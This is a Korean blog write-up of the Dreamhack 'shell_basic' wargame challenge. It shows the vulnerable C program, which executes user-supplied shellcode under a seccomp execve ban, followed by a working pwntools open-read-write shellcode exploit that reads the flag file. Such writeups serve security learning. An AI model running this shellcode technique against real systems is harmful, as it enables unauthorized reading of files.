// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
init(): stdin, stout을 초기화 시켜주고, alarm은 10으로 설정해준다.
banned_execve(): 문제 설명에서 이미 execve와 execveat syscall을 하지 못하게 막아 놓았다.
main():
printf("shellcode: "); -> "shellcode: "를 출력하고
read(0, shellcode, 0x1000); -> shellcode에 0x1000만큼 입력받은 후
sc = (void *)shellcode; -> sc에 shellcode를 넣고
sc(); -> shellcode를 실행시킨다.
문제에서 flag의 위치가 /home/shell_basic/flag_name_is_loooooong 이라고 언급했다.
그렇다면 orw 코드로 flag를 읽어낼 수 있다.
이전 [Dreamhack] 2. pwngdb & pwntools (https://velog.io/@securitykss/Dreamhack-2.-pwngdb-pwntools)에서 언급했던 shellcraft를 활용해서 exploit을 해보자.
shellcraft를 통해서 open,read,write의 syscall을 불러내서 실행시킬 수 있다.
from pwn import *
#p = remote('서버', 포트)
p = process("./shell_basic")
context.arch = "amd64" # arch를 amd64로 설정
flag = "/home/shell_basic/flag_name_is_loooooong" # flag 위치
payload = b''
payload += asm(shellcraft.open(flag)) # flag를 열고
payload += asm(shellcraft.read('rax', 'rsp', 0x100)) # rax에는 flag_name_is_loooooong 파일이 저장되어 있음, rsp에 0x100만큼 읽어들임
payload += asm(shellcraft.write(1, 'rsp', 0x100)) # write는 syscall 번호가 1이므로, 첫번째 인자값을 1로 설정, rsp엔 읽어낸 값이 저장, 0x100만큼 출력
p.sendline(payload) # payload를 보낸다(위의 c코드에 'shellcode: ' 다음에)
print(p.recv()) # 출력해낸 flag값을 recv로 받고, print로 출력
flag에는 abcdefg 값이 들어 있다. (이 flag는 예제를 위해 만든 임시 파일이다)
exploit 결과를 볼 수 있다.
0x100만큼의 사이즈를 요청 했으므로 abcdefg 뒤에 오는 값들은 flag_name_is_loooooong의 garbage값이다.
이전 시간에 orw shellcode를 asm로 구현을 했었다.
이번엔 shellcraft로 정말 편하게 open,read,write를 할 수 있음을 확인해 보았다.
다음 시간에는 Stack Buffer Overflow에 대해 알아보자.
https://dreamhack.io/wargame/challenges/410/?writeup_id=6435 (문제 출처)